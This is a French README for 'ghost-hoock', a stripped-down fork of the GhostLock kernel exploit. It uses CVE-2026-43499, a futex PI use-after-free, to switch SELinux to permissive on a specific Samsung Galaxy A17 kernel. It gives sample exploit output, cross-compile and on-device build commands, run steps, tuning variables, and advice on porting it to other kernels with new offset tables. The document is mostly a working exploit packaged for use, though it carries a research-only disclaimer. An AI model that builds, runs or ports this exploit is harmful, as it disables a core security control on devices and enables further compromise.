ghost-hoock

Un fork minimal de GhostLock qui ne conserve qu'une seule primitive : désactiver SELinux via CVE-2026-43499 (futex PI UAF).

Table des matières

• Qu'est-ce que c'est
• Comment ça fonctionne
• Ce qui a été conservé de l'original
• Ce qui a été supprimé
• Compilation
• Exécution
• Prérequis
• Limitations et risques
• Structure du projet
• Licence
• Crédits
• Liens

Qu'est-ce que c'est

ghost-hoock est un fork allégé de l'exploit GhostLock par Mobile Hacking Lab, réduit à une seule primitive :

Une écriture contrainte via futex PI UAF -> selinux_enforcing = 0.

Pas de root, pas d'écrasement de cred, pas de canal rwforge, pas d'UMH, pas de configfs. Juste le minimum nécessaire pour basculer SELinux en mode permissif sur le noyau vulnérable.

Exemple de sortie sur un Samsung Galaxy A17 (SM-A175F, BZA5) :

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

Puis :

$ getenforce
Permissive

getenforce returns Permissive

Comment ça fonctionne

L'exploit cible CVE-2026-43499 — un use-after-free dans la chaîne rt_mutex PI (Priority Inheritance) du futex du noyau Linux. La chaîne dans ghost-hoock comporte quatre étapes :

*(uint64_t *)target = value | color

Ce qui a été conservé de l'original

Il s'agit d'un fork de mobilehackinglab/ghostlock-a17 (MIT). Ce qui suit est repris à l'identique de l'exploit amont :

Le code auxiliaire (macros pr_*, SYSCHK, pin_to_core, set_limit, set_unbuffer) est également conservé tel quel depuis l'original.

Ce qui a été supprimé

Le GhostLock original obtient un root complet sur l'A17 : il installe un canal physique R/W rwforge, patche cred / real_cred, exécute un helper UMH avec les creds init, capture les logs, et plus encore. Dans ghost-hoock, tout ce qui suit la première écriture contrainte a disparu.

Le GhostLock original reste plus complet et plus puissant que ce fork. ghost-hoock n'est pas un remplacement — c'est un PoC minimal pour une tâche étroite : désactiver SELinux.

Compilation

Sur l'appareil (clang, Termux ou adb shell)

Nécessite clang et make dans le $PATH. Testé sur Termux ; fonctionne aussi via adb shell si la toolchain est présente.

git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

Sortie : ./ghost-hoock (aarch64, PIE).

Via Android NDK (sur un PC)

make NDK=/path/to/android-ndk-r26

ou manuellement :

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

Vérification de la compilation croisée

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

Exécution

# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# confirm SELinux is currently enforcing
getenforce
# -> Enforcing

# run
/data/local/tmp/ghost-hoock

# verify
getenforce
# -> Permissive

Options

ghost-hoock [options]
  --attempts N   number of W1 attempts (default: 20)
  --no-drain     skip slab_drain before each W1 attempt
  -h, --help     show help

Variables d'environnement

· GHOSTLOCK_CORE — 0..N. Cœur CPU sur lequel le thread consumer est épinglé. Par défaut : 0. · KPHYS — 0x.... Adresse physique de chargement du noyau, si elle diffère de P0_KERNEL_PHYS_LOAD. · PREPARE_SLABS — 4..64. Nombre de pages slab préparées pendant le spray. Par défaut : 32. · PSELECT_SHIFT — -14..14. Décalage de mot du fd_set. Débogage uniquement. · FOPS_MAX_ATTEMPTS — 4..72. Nombre maximal de tentatives de prepare_kernel_page pour le payload FOPS. · RWF_DEBUG — n'importe quelle valeur. Affiche les lignes de débogage de la construction du payload.

Prérequis

• Appareil : Samsung Galaxy A17 SM-A175F (BZA5) — la cible pour laquelle cette table d'offsets a été extraite.
• Noyau : 6.12.23-android16-5-abA175FXXS5BZD2-4k.
• Contexte : doit être exécuté depuis le contexte SELinux shell (u:r:shell:s0), pas depuis une application.
• Permissions : rien de spécial — aucun root requis. Tout l'intérêt est de désactiver SELinux sans root.

Portage : d'autres appareils/noyaux nécessitent leur propre table d'offsets. Ajoutez une nouvelle OFFSETS_ENTRY(...) dans include/offsets_bza5.h avec les offsets de symboles extraits de vmlinux/kallsyms pour cette build, puis recompilez.

Limitations et risques

• Des kernel panics sont possibles. Le fork hérite du risque de l'original : un page_base erroné ou une écriture qui atterrit sur une mémoire non liée fera planter le noyau. Le fork a moins de surface que l'original (pas de rwforge, pas de patch cred, pas d'UMH), il est donc statistiquement plus sûr, mais pas infaillible à 100 %.
• KASLR est désactivé sur BZA5. L'exploit repose sur slide = 0. Il n'y a aucune fuite KASLR dans ce fork. Si vous le portez sur un noyau avec KASLR activé, vous devez réintroduire slide.c depuis l'original.
• SELinux uniquement. Le fork ne donne pas root. Il écrit seulement 0 dans selinux_enforcing. Si vous avez besoin de root, utilisez le ghostlock-a17 complet.
• Écriture unique. Seul Write 1 (selinux_enforcing = 0) est conservé. N'essayez pas de l'étendre en Write 2 ou vers le pipeline rwforge sans comprendre en profondeur la route PI.
• Nécessite que l'écriture aboutisse en ~20 tentatives. Si la première tentative W1 échoue, la boucle réessaie. Sur un démarrage frais avec un système majoritairement inactif, elle aboutit généralement à la tentative 1.

Structure du projet

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # shared header, API
│   ├── offset.h                   # TARGET_CONFIG_H dispatcher
│   ├── offsets_bza5.h             # symbol offsets (BZA5 only)
│   ├── runtime_struct_offsets.h   # dynamic struct offsets (_RSO macros)
│   └── target.h                   # BZA5 addresses, payload layout
├── src/
│   ├── main.c                     # CLI, offset selection, W1 loop
│   ├── spray.c                    # KernelSnitch + heap spray + ashmem
│   ├── route.c                    # PI route + pselect constrained write
│   └── kernelsnitch/              # mm_struct leak (from upstream)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

Licence

MIT — identique à l'amont ghostlock-a17. Voir LICENSE.

Ce fork conserve l'avis de copyright original de mobilehackinglab (2026) et ajoute les auteurs du fork par-dessus, comme l'exigent les termes de la MIT.

Le projet est publié strictement pour la recherche en sécurité sur votre propre appareil. L'exécuter contre un appareil que vous ne possédez pas est illégal dans la plupart des juridictions.

Crédits

• Mobile Hacking Lab — exploit original ghostlock-a17, sur lequel ce fork est construit.
• IAIK KernelSnitch — technique de fuite de mm_struct.
• Les chercheurs originaux de CVE-2026-43499 — pour le reverse-engineering du futex PI UAF.

Liens

• Exploit amont : https://github.com/mobilehackinglab/ghostlock-a17
• Ce fork : https://github.com/genksome/ghost-hoock
• CVE : CVE-2026-43499

_{Built for research. Tested on a single physical device. Use at your own risk.}